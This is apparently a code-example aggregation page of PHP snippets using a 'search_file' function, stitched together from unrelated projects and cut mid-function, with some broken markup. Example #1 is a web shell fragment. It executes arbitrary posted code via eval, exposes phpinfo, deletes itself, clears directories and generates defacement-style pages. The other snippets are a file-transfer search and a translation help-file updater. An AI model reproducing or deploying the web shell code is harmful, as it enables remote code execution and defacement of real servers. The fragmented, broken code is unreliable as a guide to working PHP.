Example #1
0
                                    } else {
                                        foreach ($file as $words) {
                                            if (strpos(basename($directory . "/" . $value . "/" . $files_pass, "zip"), $words) !== false) {
                                                $partial[] = $value . "/" . "password/" . $files_pass . "(Password protected)";
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
        $a = preg_split("/[ - _]+/", $search_string);
        search_file($main, $a, $search_string);
    }
}
?>


<html>
	<head>
		<title>Search</title>
	</head>
	<body>
		<?php 
if (!empty($exact)) {
    foreach ($exact as $file => $size) {
        echo basename($file) . " - " . $size . "<br";
    }
     $h = $_POST['h'];
     $c1 = $_POST['col1'];
     $c2 = $_POST['col2'];
     $c3 = $_POST['col3'];
     $c4 = $_POST['col4'];
     echo $filn;
     if (!empty($filn)) {
         $fil = fopen($sa . "/" . $filn, 'w');
         fwrite($fil, "<html><title>" . $ft . "</title><body bgcolor=" . $bc . " text=#ffff><br><br><center><img src=" . $pic . " width=" . $w . " height=" . $h . "><br><h2><font color=" . $c1 . ">" . $fh . "</font></h2>\n\n<table width=700 height=50 bgcolor=" . $c4 . "  style='border:double; border-color:#FF0033;'> <tr><td><p><font color=" . $c2 . ">" . $mat . "</font></p>\n</td></tr></table>\n<br><br><p><font color=" . $c3 . ">" . $foot . "</font></p>\n");
         header('location:' . $self . "?done=" . $filn);
     }
 } else {
     if (isset($_GET['sf'])) {
         echo "<br><br><form action=# method=post>Search File : <input type=text name=s_f><input type=submit value='Search File'> </form><br><br>";
         if (!empty($_POST['s_f'])) {
             search_file($_POST['s_f']);
         }
     } else {
         if (isset($_GET['done'])) {
             echo "<br><br>" . $_GET['done'] . " PAGE CREATE Successfully Move To Shell Home Page <a href=" . $self . ">Click HERE</a>";
         } else {
             if (isset($_GET['warning'])) {
                 echo base64_decode($str);
             } else {
                 if (isset($_GET['phpinfo'])) {
                     echo "<center>" . phpinfo();
                 } else {
                     if (isset($_GET['self'])) {
                         unlink(__FILE__);
                     } else {
                         if (isset($_GET['dd'])) {
    echo $word;
    ?>
&php_code method="post">

<textarea rows=12 cols=120 name=code>
</textarea>
<textarea rows=12 cols=120 readonly>
<?php 
    eval($_POST['code']);
    echo "</textarea>";
    echo "<br><br><input type=submit value=Start>";
    exit;
}
if (isset($_GET['search_st'])) {
    if (isset($_POST['search'])) {
        search_file($_POST['search'], $_POST['dir']);
    }
    exit;
}
if (isset($_GET['rename_all'])) {
    echo "<center><table border=\"1\" width=600 rules=\"groups\">\n  <thead><br>\n    <tr><td>";
    rename_all(urldecode($_POST['d']), $_POST['prefix'], $_POST['name'], $_POST['del']);
    exit;
}
if (isset($_GET['special_d'])) {
    echo "<center><table border=\"1\" width=600 rules=\"groups\">\n  <thead><br>\n    <tr><td>";
    $way = $_POST['way'];
    if ($way == "1") {
        clear_dir($_GET['file']);
        exit;
    }
Example #4
0
                        foreach ($file as $words) {
                            if (stripos(basename($file_name, "zip"), $words) !== false) {
                                $partial[] = $directory . "/" . $file_name . $p;
                            }
                        }
                    }
                }
            }
        }
        $a = preg_split("/[ - _]+/", $search_string);
        $users = scandir($main);
        foreach ($users as $user_name) {
            if ($user_name !== "." && $user_name !== ".." && $user_name !== $user) {
                $main = "folders/{$user_name}";
                search_file($main, $a, $search_string);
                search_file($main . "/" . "password", $a, $search_string, "(Password protected)");
            }
        }
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>File Transfer</title>
	<meta http-equiv="content-type" content="text/html; charset=utf-8" />
	<meta name="description" content="" />
	<meta name="keywords" content="" />
	<link rel="stylesheet" type="text/css" href="feedback.css">	
	</script>
Example #5
0
function make_help()
{
    global $cmd_options, $dirs, $apps, $debug, $test, $c;
    foreach ($cmd_options[0] as $option) {
        switch ($option[0]) {
            case 'h':
                usage();
                footer();
            case 'l':
            case '--locale':
                $lang = $option[1];
                break;
            case 'm':
            case '--module':
                $module = $option[1];
                break;
        }
    }
    $files = array();
    for ($i = 0; $i < count($dirs); $i++) {
        if (!empty($module) && $module != $apps[$i]) {
            continue;
        }
        if (!is_dir("{$dirs[$i]}/locale")) {
            continue;
        }
        if (empty($lang)) {
            $files = search_file('help.xml', $dirs[$i] . DS . 'locale');
        } else {
            $files = array($dirs[$i] . DS . 'locale' . DS . $lang . DS . 'help.xml');
        }
        $file_en = $dirs[$i] . DS . 'locale' . DS . 'en_US' . DS . 'help.xml';
        if (!@file_exists($file_en)) {
            continue;
        }
        foreach ($files as $file_loc) {
            $locale = substr($file_loc, 0, strrpos($file_loc, DS));
            $locale = substr($locale, strrpos($locale, DS) + 1);
            if ($locale == 'en_US') {
                continue;
            }
            $c->writeln(sprintf(_("Updating %s help file for %s."), $c->bold($locale), $c->bold($apps[$i])));
            $fp = fopen($file_loc, 'r');
            $line = fgets($fp);
            fclose($fp);
            if (!strstr($line, '<?xml')) {
                $c->writeln(wordwrap($c->red(_("Warning: ")) . sprintf(_("The help file %s didn't start with <?xml"), $file_loc)));
                $c->writeln();
                continue;
            }
            $encoding = '';
            if (preg_match('/encoding=(["\'])([^\\1]+)\\1/', $line, $match)) {
                $encoding = $match[2];
            }
            $doc_en = domxml_open_file($file_en);
            if (!is_object($doc_en)) {
                $c->writeln(wordwrap($c->red(_("Warning: ")) . sprintf(_("There was an error opening the file %s. Try running translation.php with the flag -d to see any error messages from the xml parser."), $file_en)));
                $c->writeln();
                continue 2;
            }
            $doc_loc = domxml_open_file($file_loc);
            if (!is_object($doc_loc)) {
                $c->writeln(wordwrap($c->red(_("Warning: ")) . sprintf(_("There was an error opening the file %s. Try running translation.php with the flag -d to see any error messages from the xml parser."), $file_loc)));
                $c->writeln();
                continue;
            }
            $help_loc = $doc_loc->document_element();
            $md5_en = array();
            $count_all = 0;
            $count = 0;
            foreach ($doc_en->get_elements_by_tagname('entry') as $entry) {
                $md5_en[$entry->get_attribute('id')] = md5($entry->get_content());
            }
            foreach ($doc_loc->get_elements_by_tagname('entry') as $entry) {
                foreach ($entry->child_nodes() as $child) {
                    if ($child->node_type() == XML_COMMENT_NODE && strstr($child->node_value(), 'English entry')) {
                        $entry->remove_child($child);
                    }
                }
                $count_all++;
                $id = $entry->get_attribute('id');
                if (!array_key_exists($id, $md5_en)) {
                    $c->writeln(wordwrap($c->red(_("Warning: ")) . sprintf(_("No entry with the id '%s' exists in the original help file."), $id)));
                } else {
                    $entry->set_attribute('md5', $md5_en[$id]);
                    $entry->set_attribute('state', 'uptodate');
                    $count++;
                }
            }
            $output = $doc_loc->dump_mem(true, $encoding);
            if (!$test) {
                $fp = fopen($file_loc, 'w');
                $line = fwrite($fp, $output);
                fclose($fp);
            }
            $c->writeln(sprintf(_("%d of %d entries marked as up-to-date"), $count, $count_all));
            $c->writeln();
        }
    }
}